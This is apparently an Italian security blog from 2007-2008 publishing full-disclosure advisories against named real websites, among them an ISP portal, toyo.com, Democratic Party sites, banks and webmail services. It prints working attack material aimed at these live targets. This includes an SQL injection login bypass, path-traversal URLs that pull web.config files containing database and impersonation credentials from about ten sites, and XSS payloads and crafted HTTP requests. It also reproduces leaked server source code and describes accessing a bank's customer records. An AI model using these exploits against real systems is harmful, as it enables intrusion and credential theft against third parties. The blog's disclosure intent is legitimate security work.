cyphersec A blog about Web Application Security and .NET development best practices

19Jan/082

Eutelia, Remote File Inclusion, XSS etc etc etc

Cattivi e buoni programmatori anno 2008. Sarà perchè vengo dalla lettura dell'ultimo libro di joel, sarà perchè ultimamente sto facendo altri tipi di studi, ma più mi sforzo e più non riesco a spiegarmi come si possano realizzare prodotti scadenti.

Analiziamo per punti.

  • Eutelia (sembra) non sviluppare mai da zero i propri siti, si affida a componenti CMS Opensource (Joomla).
  • Nel caso in cui si presenti la necessità di integrare sistemi di business logic, questi vengono realizzati internamente.
  • Sembra non si curi di aggiornare i prodotti di terze parti free utilizzati.
  • Sembra non avere un team di beta testers.
  • Sembra non aver sottoscritto contratti di penetration testing.

Per il punto uno e due c'è poco da argomentare.

Punto tre, la storia di Joomla è piena di vulnerabilità, lo sappiamo tutti e secunia ce lo ricorda molto volentieri [2]. Dall'anno 2003, anno di rilascio di questo prodotto, ben tredici advisories sono stati rilasciati, lode al team di joomla per aver risposto sempre velocemente con una percentuale del 85% di bug fix. A gennaio è stato rilasciato un advisory che permette ad utente (senza privilegi) di prendere il totale controllo dell'applicativo.. avranno scaricato ed installato le patch? (no).

Comunque, se i punti quattro e cinque non fossero veri, non sarei qui a scrivere questo ed altri post.  Già alla fine di maggio dell'anno scorso [1], inciampai per sbaglio nel codice di questi programmatori. A distanza di circa un anno, sono dovuto tornare sul portale di eutelia per alcune ricerche, e, anche questa volta, ho trovato un altra perla del software. Stiamo parlando del prodotto EuteliaVOIP, nome dietro il quale si cela la lodevole iniziativa di portare la connettività nelle zone non ancora coperte da ADSL.

Con il tempo, Eutelia ha installato access point wifi che permettono, a fronte di una sottoscrizione, di navigare in velocità ADSL. Data la verifica di copertura del segnale da parte degli utenti prima e di tecnici eutelia poi, è possibile navigare in internet. Cool.

Attivare una connessione è più o meno semplice, basta acquistare uno starter kit (199€) e sottoscrivere l'abbonamento. Fatto questo verranno consegnate delle credenziali che, dopo essere validate dall'applicativo, permetteranno all'utente di avere una vita su internet. Per fare questo ci si collega all'indirizzo http://wifi.euteliavoip.com si seleziona la voce "Attiva Login" il sistema valida le credenziali e e così via. Tutto sembra andare liscio come l'olio, ma dando una piccola sbirciata "under the hood" ci troviamo davanti ad un altra cattiva (nulla) introduzione di sistemi di sicurezza.

mainlogin

Come è logico aspettarsi, il componente di accesso è sotto HTTPS, e viene visualizzato all'utente grazie ad un "iframe". Lo stesso avviene per i form di richiesta credenziali. Ora il problema non è tanto con l'implementazione (che sicuramente non è delle più eleganti), ma è con il componente stesso.

Nel momento in cui viene effettuato il click sul pulsante "Avanti" l'applicativo invia in le seguenti variabili

  • wc_login (username)
  • wc_password (password)
  • wc_retpath (return path?)
  • wc_dbos
  • CmdAttiva

5 paramentri, di cui solo due sono valorizzati dall'utente. Uhm? Veloce controllo dei valori passati e... "ding". Supponiamo che tentiate il login con l'utenza "prova - prova", ecco i valori delle cinque le variabili.

wc_login = "prova"
wc_password = "prova"
wc_retpath = "wbc_skpopenaccountwifi"
wc_dbos = "dbeutelia"
CmdAttiva = "Attiva"

Il motivo dell'esistenza della variabile wbc_retpath è sconosciuto, perchè, anche settandola con altri valori (anche di altri componenti di eutelia) essi non sembrano in alcun modo influenzare l'applicativo, la cosa sconcertante è notare che.. il valore wc_dbos è il valore utilizzato dall'applicativo per indentificare il database su cui eseguire le query! Nel caso in cui non vengano effettuate modifiche a questa variabile si riceve l'errore

Email o Password errati
E' anche possibile che la sottoscrizione non sia stata ancora confermata, controllore la propria casella di posta.
Cliccare sul bottone "Indietro" del browser.....

Se invece si cambia il valore in qualsiasi altra cosa.. si riceve l'errore che, tristemente, ci conferma l'impossibilità di aprire il database richiesto o_O.

db

Naturalmente è possibile modificare a piacimento il valore di questa variabile per andare a renderizzare qualsiasi tipo di codice (anche php) all'interno dell'applicativo stesso. E attenzione quando si dice questo, perchè l'inclusione di codice remoto può portare a spiacevoli conseguenze.

Per dimostrare la vulnerabilità, ci limiteremo a valorizzare la variabile con il seguente codice

<iframe src="http://www.ansa.it" width="600" height="800">

ansa_xss

Le conclusioni.. le lascio a voi. Auguro ad Eutelia di trovare programmatori che si possano definire tali e sopratutto di rivedere le proprie regole di rilascio in produzione.. sempre che esse esistano.

 

Riferimenti:

[1] "Tecniche errate di prevenzione, un esempio reale" - http://www.cyphersec.com/?p=76

[2] "Joomla! 1.x - Vulnerability Report" - http://secunia.com/product/5788/?task=statistics

27Nov/070

Advisory: Toyo Tires

Update: non avendo ricevuto risposta, rilascio le info necessarie. As usual, non mi assumo alcuna responsabilità per eventuali defacement e/o alterazioni al contenuto del sito in questione.

toyo.com
Alessio Marziali
www.cyphersec.com
Vendor contattato il : 27/11/2007
Risposta Vendor : no
Rilasciato pubblico: 03/12/2007
alessio.marziali@cyphersec.com
Tipologia Vulnerabilità : SQL Injection
Componente Vulnerabile : BEX Management - Shaw Binary Systems Inc

Digitando http://www.toyo.com/admin si arriva alla pagina di login del componente BEx Management della Shaw Binary Systems Inc. Il componente è vulnerabile a SQL Injection. Questo significa che, anything' OR 'x'='x legata ad una qualsiasi username ci apre le porte del reame Toyo.

Cosa è possibile fare una volta effettuato il login:

  • Inserire codice XSS per contaminare più computer possibili attraverso keyloggers, malaware etc.
  • Inserire informazioni errate
  • Inserire informazioni per distruggere la credibilità dell'azienda stessa
  • etc etc

Cosa interessante è che nella pagina di login, senza alcuna bisogno di loggarsi, è possibile aggiungere dealers toyo.. http://www.toyo.com/admin/dealers.asp

Al momento non ho effettuato ulteriori ricerche, ne provato ulteriori dork.  Nel caso, fatemi sapere.

30Oct/070

Protected: Advisory: difesa.it

This post is password protected. To view it please enter your password below:


1Oct/070

Advisory:veltroniperlitalia.it ed altri (Path Traversal)

Cosa succede quando unisci due tool come Google2TXT e TPF?
Succede che continui a recuperare una vasta serie di informazioni che potrebbero essere utili a qualcuno.

Per esempio, utilizzando la dork "inurl:gw/producer/dettaglio.aspx?" Google2TXT restituisce 28 risultati. Successivamente, dopo aver filtrato i risultati ed averli passati a PTF (test mode), vengono rilevate valide le seguenti chiamate: 

   2: http://www.axia.org/gw/producer/index.aspx?t=/gw/producer/dettaglio.aspx
   3: http://www.nessuno.tv/gw/producer/index.aspx?t=/web.config
   5: http://www.veltroniperlitalia.it/gw/producer/index.aspx?t=/web.config
   6: http://www.unibasket.it/gw/producer/index.aspx?t=/web.config
   7: http://dev.nessunotv.dol.it/gw/producer/index.aspx?t=/web.config

Giuro che non lo faccio di proposito, ma ogni volta che cerco vulnerabilità salta fuori sempre qualche sito politico.

17Sep/072

lanuovastagione.it, il codice incriminato

Continuiamo a parlare di lanuovastagione.it, un altro degli scandali italiani.
L'applicativo non solo ci mette a disposizione il web.config.. ma ci mostra anche il codice sorgente.

Sei giorni sono passati. Di risposte o di fix nemmeno l'ombra. Credo che i tempi siano maturi per rilasciare pubblicamente il codice sorgente. L'applicativo è sviluppato in Visual Basic.NET. E' stato scelto di non compilare il codice, ma di lavorare in codebehind lasciando i sorgenti direttamente all'interno del server. Questo significa che, per ogni pagina aspx presente è possibile recuperare il codice sorgente andando ad interrogare il relativo file .aspx.vb.
Prestate attenzione alle query e alla gestione delle variabili "template".

NB : Il ragionamento si applica anche ai seguenti siti.

http://www.diregiovani.it/
http://www.dsonline.it/
http://www.saperidemocratici.it/
http://www.italiafrica.it/
http://bologna07.festaunita.it/
http://byebye900.festaunita.it/

Buona lettura.

Live http://www.lanuovastagione.it/gw/producer/dettaglio.aspx
Link http://www.lanuovastagione.it/gw/producer/index.aspx?t=\gw\producer\dettaglio.aspx.vb

   1: Partial Class gw_producer_dettaglio
   2: Inherits System.Web.UI.Page
   3:  
   4: Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
   5:  
   6: End Sub
   7:     Protected Sub Page_PreRender(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.PreRender
   8:         Dim id_doc As Integer = DOL.snippets.defval(Request("id_doc"), 0)
   9:         Dim meta As System.Collections.Hashtable = New System.Collections.Hashtable
  10:         Dim documento As storyega.documento = New storyega.documento(cenvironment.ConnectionString, id_doc)
  11:         meta = documento.getMeta
  12:         'checkRights(meta)
  13:         Dim template As String = DOL.snippets.defval(Request("t"), "")
  14:         
  15:         If template.Length = 0 Then
  16:             template = DOL.snippets.defval(DOL.utility.sql.getSQLSingleValue("select templatepath from gw_doc_plain where id=" & id_doc, cenvironment.ConnectionString), "/gw/template/dettaglio.htm")
  17:         End If
  18:  
  19:         'CODICE SPECIFICO AXIA
  20:      'Inserire qui il codice utente necessario per inizializzare la pagina
  21:          Try
  22:             glamwareadapter.initialize(Me, template, cenvironment.ConnectionString, "/", Me.Context, meta)
  23:           Catch ex As Exception
  24:             Response.Write("error on: " & template)
  25:           'Response.Redirect("http://wwww.dsonline.it" & template & "?id_doc=" & id_doc)
  26:         End Try
  27:     End Sub
  28:  
  29:     Private Function getDataDoc(ByVal id_doc As Integer) As Date
  30:         Dim sql As String = String.Format("SELECT data_doc FROM DOCUMENTO WHERE id_doc={0} ", id_doc)
  31:         Dim datadoc As Date = Nothing
  32:             Try
  33:                 datadoc = DOL.utility.DB.SQLClient.getSingleValue(cenvironment.ConnectionString, sql)
  34:                 Catch ex As Exception
  35:             End Try
  36:         Return datadoc
  37:     End Function
  38: End Class

Live http://www.lanuovastagione.it/gw/producer/index.aspx
Link : http://www.lanuovastagione.it/gw/producer/index.aspx?t=\gw\producer\index.aspx.vb

   1: Partial Class gw_producer_index
   2:  
   3: Inherits System.Web.UI.Page
   4:  
   5: Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
   6: End Sub
   7:  
   8:     Protected Sub Page_PreRender(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.PreRender
   9:     'Dim navman As StoryeGA.StoryeNavigationManager
  10:     'navman = New StoryeGA.StoryeNavigationManager(Navigatore)
  11:     'navman.connectionString = cenvironment.ConnectionString
  12:     'navman.PageDimension = DOL.snippets.defval(Request("pd"), DOL.snippets.GetConfigKey("recperpage"))
  13:      'Select Case DOL.snippets.defval(Request("o"), 1)
  14:      ' Case 0
  15:      ' navman.Sorting = dolClasses.dolTypes.Ordinamento.Crescente
  16:      ' navman.sqlSortFieldName = "sortorder"
  17:      ' Case 1
  18:      ' navman.Sorting = dolClasses.dolTypes.Ordinamento.Decrescente
  19:      ' navman.sqlSortFieldName = "sortorder"
  20:      ' Case 2
  21:      ' navman.Sorting = dolClasses.dolTypes.Ordinamento.Crescente
  22:      ' navman.sqlSortFieldName = "ID"
  23:      ' Case 3
  24:      ' navman.Sorting = dolClasses.dolTypes.Ordinamento.Decrescente
  25:      ' navman.sqlSortFieldName = "ID"
  26:      ' Case 4
  27:      ' navman.Sorting = dolClasses.dolTypes.Ordinamento.Crescente
  28:      ' navman.sqlSortFieldName = "text3"
  29:      ' Case 5
  30:      ' navman.Sorting = dolClasses.dolTypes.Ordinamento.Decrescente
  31:      ' navman.sqlSortFieldName = "ID"
  32:      'End Select
  33:      ' ''navman.Sorting = dolClasses.dolTypes.Ordinamento.Decrescente
  34:      ' ''navman.sqlTableName = "VIEW_ATTR_VIDEOPOST_EXT"
  35:      ' ''navman.sqlSortFieldName = "id_blogdoc"
  36:      ' ''navman.go()
  37:      ''Dim param As System.Collections.SortedList = New System.Collections.SortedList
  38:      'Dim param As New System.Collections.Hashtable
  39:      'param.Add("AREA", DOL.snippets.defval(Request("AREA"), Nothing))
  40:      'param.Add("GPL", DOL.snippets.defval(Request("GPL"), Nothing))
  41:      'param.Add("TIPODOC", DOL.snippets.defval(Request("TIPODOC"), Nothing))
  42:      'Dim pipo As StoryeGA.ListDocNavmanagerMetaBuilder = New StoryeGA.ListDocNavmanagerMetaBuilder(cenvironment.ConnectionString, navman)
  43:      'pipo.setParam(param)
  44:      'Dim meta As System.Collections.Hashtable = New System.Collections.Hashtable
  45:      'meta.Add("DOC", pipo.getMeta)
  46:      'Dim template As String = DOL.snippets.defval(Request("t"), "")
  47:      ''Inserire qui il codice utente necessario per inizializzare la pagina
  48:      'Try
  49:      ' glamwareadapter.initialize(Me, template, cenvironment.ConnectionString, "/", Me.Context, meta)
  50:      'Catch ex As Exception
  51:      ' Response.Write(ex.Message)
  52:      ' Response.End()
  53:      'End Try
  54:      Dim navman As storyega.StoryeNavigationManager
  55:      navman = New storyega.StoryeNavigationManager(Navigatore)
  56:      navman.connectionString = cenvironment.ConnectionString
  57:      navman.PageDimension = DOL.snippets.defval(Request("pd"), DOL.snippets.GetConfigKey("recperpage"))
  58:     
  59:     Select Case DOL.snippets.defval(Request("o"), 1)
  60:          Case 0
  61:              navman.Sorting = dolClasses.dolTypes.Ordinamento.Crescente
  62:              navman.sqlSortFieldName = "sortorder"
  63:          Case 1
  64:              navman.Sorting = dolClasses.dolTypes.Ordinamento.Decrescente
  65:              navman.sqlSortFieldName = "sortorder"
  66:          Case 2
  67:              navman.Sorting = dolClasses.dolTypes.Ordinamento.Crescente
  68:              navman.sqlSortFieldName = "ID"
  69:          Case 3
  70:              navman.Sorting = dolClasses.dolTypes.Ordinamento.Decrescente
  71:              navman.sqlSortFieldName = "ID"
  72:          Case 4
  73:              navman.Sorting = dolClasses.dolTypes.Ordinamento.Crescente
  74:              navman.sqlSortFieldName = "text3"
  75:          Case 5
  76:              navman.Sorting = dolClasses.dolTypes.Ordinamento.Decrescente
  77:              navman.sqlSortFieldName = "text3"
  78:      End Select
  79:      
  80:      Dim param As System.Collections.Hashtable = New System.Collections.Hashtable
  81:      param.Add("AREA", DOL.snippets.defval(Request("AREA"), Nothing))
  82:      param.Add("GPL", DOL.snippets.defval(Request("GPL"), Nothing))
  83:      param.Add("TIPODOC", DOL.snippets.defval(Request("TIPODOC"), Nothing))
  84:  
  85:      Dim pipo As storyega.ListDocNavmanagerMetaBuilder = New storyega.ListDocNavmanagerMetaBuilder(cenvironment.ConnectionString, navman)
  86:      pipo.setParam(param)
  87:      Dim meta As System.Collections.Hashtable = New System.Collections.Hashtable
  88:      meta.Add("DOC", pipo.getMeta)
  89:      Dim template As String = DOL.snippets.defval(Request("t"), "")
  90:      'Inserire qui il codice utente necessario per inizializzare la pagina
  91:      Try
  92:      glamwareadapter.initialize(Me, template, cenvironment.ConnectionString, "/", Me.Context, meta)
  93:          Catch ex As Exception
  94:              Response.Write(ex.Message)
  95:              Response.End()
  96:          End Try
  97:      End Sub
  98: End Class

Live http://www.lanuovastagione.it/servizi/ec/contributi.aspx
Link http://www.lanuovastagione.it/gw/producer/index.aspx?t=\servizi\ec\contributi.aspx

   1: Imports DOL.utility
   2:  
   3: Partial Class contributi
   4:  Inherits System.Web.UI.Page
   5:  
   6:  Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
   7:  'Inserire il codice da eseguire prima degli eventi di pagina
   8:  End Sub
   9:  
  10:  Protected Sub Page_PreRender(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.PreRender
  11:  'Inserire il codice da eseguire dopo gli eventi di pagina
  12:  Dim template As String = DOL.snippets.defval(Request("t"), "")
  13:      If template.Length = 0 Then template = "/servizi/ec/contributi.htm"
  14:      'Inserire qui il codice utente necessario per inizializzare la pagina
  15:      glamwareadapter.initialize(Me, template, cenvironment.ConnectionString, "/", Me.Context, Nothing)
  16: End Sub
  17:  
  18:  Private Sub btInvia_Click(ByVal sender As System.Object, ByVal e As System.Web.UI.ImageClickEventArgs) Handles btInvia.Click
  19:  If Page.IsValid Then
  20:  
  21:  ''' invia i dati alla banca
  22:  'Inserire qui il codice utente necessario per inizializzare la pagina
  23:  'Me.lblResult.Text = MAC
  24:  Dim flag As Integer = 0
  25:  
  26:  Dim _importo As Long = Val(Me.txImporto.Text) * 100
  27:  flag += 1
  28:  Me.Label1.Text &= flag & " "
  29:  Dim bankpass As New CBankPass
  30:  bankpass = New CBankPass(_importo)
  31:  flag += 1
  32:  Me.Label1.Text &= flag & " "
  33:  
  34:  Dim rp As New DOL.RemotePost
  35:      With rp
  36:      .Add("IMPORTO", _importo)
  37:      .Add("VALUTA", bankpass.Valuta)
  38:      .Add("NUMORD", bankpass.Numord)
  39:      .Add("IDNEGOZIO", bankpass.Idnegozio)
  40:      flag += 1
  41:      Me.Label1.Text &= flag & " "
  42:      .Add("URLBACK", bankpass.Urlback & "?NUMORD=" & Server.UrlEncode(bankpass.Numord))
  43:      flag += 1
  44:      Me.Label1.Text &= flag & " "
  45:      .Add("URLDONE", bankpass.Urldone)
  46:      .Add("URLMS", bankpass.Urlms)
  47:      .Add("TCONTAB", bankpass.Tcontab)
  48:      .Add("TAUTOR", bankpass.Tautor)
  49:      .Add("MAC", bankpass.MACRequest(Me.Server))
  50:      flag += 1
  51:      Me.Label1.Text &= flag & " "
  52:      .Url = bankpass.Bankpassurl
  53:  
  54:      ' prima di inviare salvo su database il tentativo di transazione
  55:      Dim sql As String = ""
  56:      Dim fields As New System.Collections.Specialized.NameValueCollection
  57:          With fields
  58:          .Add("nome", DB.Common.SQLTConv(Me.txNome.Text))
  59:          .Add("cognome", DB.Common.SQLTConv(Me.txCognome.Text))
  60:          .Add("email", DB.Common.SQLTConv(Me.txEmail.Text))
  61:          .Add("telefono", DB.Common.SQLTConv(Me.txTelefono.Text))
  62:          .Add("citta", DB.Common.SQLTConv(Me.txCitta.Text))
  63:          .Add("cap", DB.Common.SQLTConv(Me.txCap.Text))
  64:          .Add("provincia", DB.Common.SQLTConv(Me.txProvincia.Text))
  65:          .Add("importo", DB.Common.SQLNConv(CType(_importo, Double) / 100.0))
  66:          .Add("valuta", DB.Common.SQLNConv(bankpass.Valuta))
  67:          .Add("numord", DB.Common.SQLTConv(bankpass.Numord))
  68:          .Add("tcontab", DB.Common.SQLTConv(bankpass.Tcontab))
  69:          .Add("tautor", DB.Common.SQLTConv(bankpass.Tautor))
  70:          .Add("inlist", IIf(Me.ckPublic.Checked, 1, 0))
  71:          End With
  72:          Me.Label1.Text &= flag & " "
  73:          .Url = bankpass.Bankpassurl
  74:  
  75:      sql = DB.Common.BuildSQLINSERT("LOOKUP_TRANSAZIONI", fields)
  76:      Me.Label1.Text &= "<br>" & sql & "<br>" & cenvironment.ConnectionString
  77:      'Exit Sub
  78:          Try
  79:              DB.SQLClient.doexec(cenvironment.ConnectionString, sql)
  80:              'Me.Label1.Text &= flag & " "
  81:              'Exit Sub
  82:              '.Url = bankpass.Bankpassurl
  83:             .Post()
  84:          Catch ex As Exception
  85:             Me.Label1.Text = ex.Message
  86:          Finally
  87:     End Try
  88:     End With
  89: End If
  90: End Sub
  91:  
  92:     Private Sub CustomValidator1_ServerValidate(ByVal source As System.Object, ByVal args As System.Web.UI.WebControls.ServerValidateEventArgs) Handles CustomValidator1.ServerValidate
  93:     args.IsValid = IsNumeric(Me.txImporto.Text)
  94:         
  95:         If Not args.IsValid Then
  96:             Return
  97:         End If
  98:         
  99:         For i As Integer = 1 To Me.txImporto.Text.Length
 100:         Dim s As String = Mid(Me.txImporto.Text, i, 1)
 101:             If Not ("0" <= s And s <= "9") Then
 102:                 args.IsValid = False
 103:                 Return
 104:             End If
 105:         Next
 106:         args.IsValid = True
 107:     End Sub
 108: End Class
11Sep/0710

Advisory: lanuovastagione.it ed altri [xss e le credenziali amministrative in chiaro]

Thumbnail via WebSnapr: http://www.lanuovastagione.itSarò sincero. E' tutto il giorno che mi pongo la domanda : "dovrei rilasciare pubblicamente le vulnerabilità rilevate o dovrei contattare direttamente il vendor ed informarlo del tutto?"

Non ce la faccio.

Domenica scorsa parlavo di un interessante argomento. L'importanza dei programmatori nell'era del mondo digitale. Siamo a tre giorni dalle primarie ed ecco come si presenta il comitato per il partito democratico di Walter Veltroni & company. Una catastrofe.

Mi rendo conto di rischiare e anche grosso pubblicando queste informazioni. Ma qualcuno deve pur capire a cosa si va incontro continuando a portare avanti questa politica di settore.. ahimè totalmente errata.

Partiamo da Cross Site Scripting. La pagina index.aspx, attraverso il non controllo della variabile GET t può condurre a differenti exploit. Ecco un esempio. Il codice javascript non codificato HTML è il seguente

 1: </xss
 2: /*complimenti signori*/
 3: style=xss:expression(alert('owned'))
 4: >


il quale codificato HTML si trasforma in

 1: /* Cyphersec.com
 2:  11 settembre 2007
 3:  www.lanuovastagione.it [index.aspx] || craftato con IE ||
 4:  variabile GET t non verificata >> XSS
 5: */ 
 6:http://www.lanuovastagione.it/gw/producer/index.aspx?t=%3C%2Fxss%2F%2Acomplimenti%20signori%2A%2Fstyle%3Dxss%3Aexpression%28alert%28%27owned%27%29%29%3E


Ma non finisce qui. Le vulnerabilità SQL Injection (su ricerca.aspx) diventano inutili quando possiamo tranquillamente andare a recuperare username e password ed altre informazioni "critiche" dal file web.config. Si avete letto bene. L'applicativo in questione vi mostrerà tutto.. ma proprio tutti i file che sono presenti all'interno della directory virtuale. Come?

Aprite il sito www.lanuovastagione.it nel menù in alto identificate la voce "discorsi ed intervalli" controllate il link a cui porta. DING!


vedete la nostra tanto amata variabile t? si vedete bene. questa variabile.. legge il contenuto della pagina (occhio ai valori querystring) /documenti/indice.htm e ne renderizza il contenuto a video. Bene perfetto.. complimenti ancora.

Come i programmatori .NET sapranno.. le applicazioni web "dovrebbero" archiviare le informazioni importanti in un file chiamato web.config. Questo file non può (e grazie a dio) essere visualizzato a video attraverso una chiamata diretta. Per esempio

 1: http://www.lanuovastagione.it/web.config

vi ripoterà ad una pagina .NET la quale v'informerà che non potete visualizzare il suo contenuto perché a livello di architettura il framework non lo permette. giustissimo.

Con dispiacere.. andando a trasformare t=/documenti/indice.htm&<serie di chiave valore> in t=\web.config arriviamo a questo link

 1: http://www.lanuovastagione.it/gw/producer/index.aspx?t=/web.config


Cosa ho fatto? ho semplicemente chiesto di chiamare sulla root principale il file web.config. Se notate si aprirà una pagina totalmente bianca (o del colore di background da voi impostato). Tutto qui? No. La pagina è stata correttamente renderizzata.. solo che non è visibile... Ora provate a fare "Visualizza Sorgente Pagina" o (se preferite) "View Source" e copritevi gli occhi.

username e password + databasename del database contenete i contenuti del portale. Poco importa se il database, a prima vista, sembra non essere totalmente esposto su internet. Ma che dire dei valori "impersonateLogin" e "ImpersonatePassword" oppure dei valori contenuti nel ramo "credentials"?

Vergogna.

update : su suggerimento di Denis, utilizzando la dork "inurl:/index.aspx?t=" sono "saltati" fuori altri siti vulnerabili.

http://www.diregiovani.it/gw/producer/index.aspx?t=/web.config
http://www.dsonline.it/gw/producer/index.aspx?t=/web.config
http://www.saperidemocratici.it/gw/producer/index.aspx?t=/web.config
http://www.italiafrica.it/gw/producer/index.aspx?t=/web.config
http://bologna07.festaunita.it/gw/producer/index.aspx?t=/web.config
http://byebye900.festaunita.it/gw/producer/index.aspx?t=/web.config

6Jun/070

Advisory: Banca di Credito Cooperativo Alta Padovana: XSS,SQL Injection

banca alta padovana La banca di Credito Cooperativo dell'Alta Padovana Scrl è una piccola realtà del settore bancario attiva nella regione veneto. Il sito reperibile all'indirizzo www.altapd.it è affetto dalle seguenti vulnerabilità: Except Header Manipulation (Apache Vuln) SQL Injection (faqdetail.php). La prima vulnerabilità si risolve automaticamente aggiornando all'ultima versione disponibile del software Apache. Data la mancanza di autorizzazione, non è stato possibile investigare sui possibili effetti della manipoalzione del paramentro ID richiesto dalla pagina faqdetail.php. Impossibilitato a verificare la vulnerabilità SQL injection, e, non essendo possibile modificare il valore del Header Except data una richiesta client, questo advisory si assesta sul livello (low).

www.altapd.it
Alessio Marziali
www.cyphersec.com
06/06/2007
alessio.marziali@cyphersec.com
Tipologia Vulnerabilità : Except Header Manipulation (conseguenza xss)
Componente Vulnerabile : WebServer Apache
Proof of Concept: Visualizzazione alert JavaScript "XSS"
GET / HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: www.altapd.it
Connection: Close
Expect: < script>alert('XSS')< /script>
Pragma: no-cache

Tipologia Vulnerabilità : SQL Injection
Componente Vulnerabile : faqdetail.php (cartella scriptroot)
Proof of Concept: Visualizzazione errore MySQL
http://www.altapd.it/scriptroot/faqdetail.php?id='

Filed under: Advisory No Comments
30May/070

Advisory: webmail.register.it / webmail.inet.it [XSS]

webmailDopo Aruba S.p.A è il turno di Register.it e Inet.it altri due "giganti" del settore Hosting Italiano. Anche questa volta sotto la lente d'ingrandimento sono finite due degli applicativi maggiormente utilizzati per la gestione della posta elettronica via web.

Come molti avranno notato, i test sono principalmente indirizzati alla rilevazione di falle di tipo Cross Site Scripting. La mia preoccupazione più grande, che mi sento in dovere di denunciare, è la totale assenza dell'adozione di canali di codifica per il transito delle credenziali. Sinceramente mi stupisco di come sia possibile il non utilizzo di canali https per applicazioni "sensibili" come le webmail. Purtroppo, questa grave dimenticanza rende possibile lo spoofing delle credenziali di accesso degli utenti sotto controllo da maleintenzionati (si, parlo a te che sniffi la rete wifi del tuo vicino).

Tornando al nostro post; ecco gli ormai "familiari" advisory:

webmail.register.it
Alessio Marziali
www.cyphersec.com
30/05/2007
alessio.marziali@cyphersec.com
Tipologia Vulnerabilità : Cross Site Scripting
Componente Vulnerabile : Cookie
Proof of Concept: Visualizzazione alert JavaScript "XSS" (rimuovere gli spazi)
GET http://webmail.register.it:80/login.html HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: webmail.register.it
Cookie: cookie%5Bdomain%5D=deleted;cookie%5Buserid%5D=>">< script%20%0a%0d>alert('XSS')%3B< /script>;PHPSESSID=1ca9f22c7e32522815ede79b29ca9fe9;__utma=177195445%2E1258436166%2E1180555463%2E1180555463%2E1180555463%2E1;%20path=%2F;%20expires=Sun%2C%2018%20Jan%202038%2000%3A00%3A00%20GMT;%20domain=acunetix%2Ecom;=111-222-1933email@address.com;__utmb=177195445;__utmc=177195445;__utmz=177195445%2E1180555462%2E1%2E1%2Eutmccn%3D%28direct%29%7Cutmcsr%3D%28direct%29%7Cutmcmd%3D%28none%29;%20%20expires=Thu%2C%2029%20Nov%202007%2008%3A04%3A22%20UTC;GUID=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
Connection: Close
Pragma: no-cache

webmail.inet.it
Alessio Marziali
www.cyphersec.com
30/05/2007
alessio.marziali@cyphersec.com
Tipologia Vulnerabilità : Cross Site Scripting
Componente Vulnerabile : index.cgi
Proof of Concept: Visualizzazione alert JavaScript "XSS" (rimuovere gli spazi)
http://webmail.inet.it:80/?lang=< script%20%0a%0d>alert('XSS')%3B< / script>

L'invito è sempre il solito.
1)Evitare l'uso di questi servizi mail per la trasmissione di comunicazioni sicure.
2)Se il punto 1 non è attuabile, utilizzare FireFox ed abilitare NoScript per i servizi indicati.

A volte bisogna imparare dai grandi per riuscire a fare prodotti sicuri.

Filed under: Advisory No Comments
26May/070

Advisory: Aruba WebMail

aruba xssAruba WebMail XSS.
Data : 25/07/2007
Alessio Marziali
www.cyphersec.com

Vulnerabilità rilevate : Cross Site Scripting
Componente Vulnerabile : webmail.cgi
Effetti : Al fine di recuperare il maggior numero di credenziali, un utente malintenzionato può modificare il contenuto della pagina ed avviare una sessione di phishing.

Impatto : Stando a quanto affermato nella pagina "chi siamo" Aruba S.p.A gestisce 3.500.000 caselle e-mail, la quale di fatto aumenta il livello di criticità ad "elevato".

[Proof of Concept 1] Javascript Alert, Cambio Titolo, Modifica Contenuto.

Risoluzione alla vulnerabilità: Per i tradizionali scopi di utilizzo, la valorizzazione del parametro "msg" non deve accettare i valori passati via querystring.

Consiglio agli utenti : Disabilitare Javascript tramite plugins come quello sviluppato da Giorgio Maone "[NoScript]"

Update : Attraverso il forum community.aruba.it, nel 15/12/2006 la stessa vulnerabilità fu segnalata ad Aruba S.p.A; Ad oggi nessun intervento è stato effettuato per risolvere questa grave falla.

Riferimenti : Security for GWT Applications

Filed under: Advisory No Comments
23May/070

Enti bancari e privacy.. sono i vostri dati al sicuro?

Purtroppo non è così. Ieri sera alle ore 21.50 ho inviato ho contattato una delle più grandi banche italiane segnalando multiple vulnerabilità su un sito "ad uso interno", che invece non lo era. L'applicativo in questione, sviluppato con una logica da programmatore di 2 mesi d'esperienza, permetteva (a chiunque ne facesse richiesta) di visionare i seguenti dati:


Nome,Cognome,Codice Fiscale,Data di Nascita,Età,Telefono,Cellulare,Residenza,
Datore di lavoro,Reddito Mensile,Coordinate Bancarie etc etc

Per chi si sta chiedendo come sia possibile recuperare determinate informazioni.. ecco cosa ho fatto.

Google Query : allinurl:xxxxx.it

Tra la lista appare inforxxx.xxxx.it il quale risponde all'indirizzo IP 195.7.xx.xx. Cercando tra i diversi indirizzi IP si arriva a 195.x.xx.xx. Ho fatto solo uno scan sulle porte più frequenti per scoprire che la porta 80 è aperta.

Aprendo dunque, http://195.x.xx.xxx:80 si arriva ad un sito il quale presenta un form di accesso "PRECOMPILATO" di tutti i valori necessari ad eseguire il login. Una volta che si ottiene l'accesso al sito è possibile utilizzare la funzione "Ricerca Clienti" per recuperare tutte le informazioni che si vogliono. A partire dal CDG di un fantomatico "XXXXX XXXX" (3X1XXX) è possibile tentare di recuperare informazioni su più clienti. Tutto il mondo sà che il signor "XXXXX XXXX codice fiscale : XXXXXXXX residente in VIA GIOXX DA XXXXXX, 29 è un operaio artigiano con un reddito di 1.100.00€. Lavora per la COOPERATIVA XXXX a XXXX in VIA F.XXXXX 166. Il suo numero di telefono è 055XXXXXX. Le sue cordinate bancarie sono Abi:XXXXX, Cab: XXXXX, C/C XXXXXXXXX)

Ma non solo. Il sito è affetto dalle seguenti vulnerabilità:
Cross Site Scripting (startxml.asp)
SQL Injection (pass.asp)
[Proof of Concept]
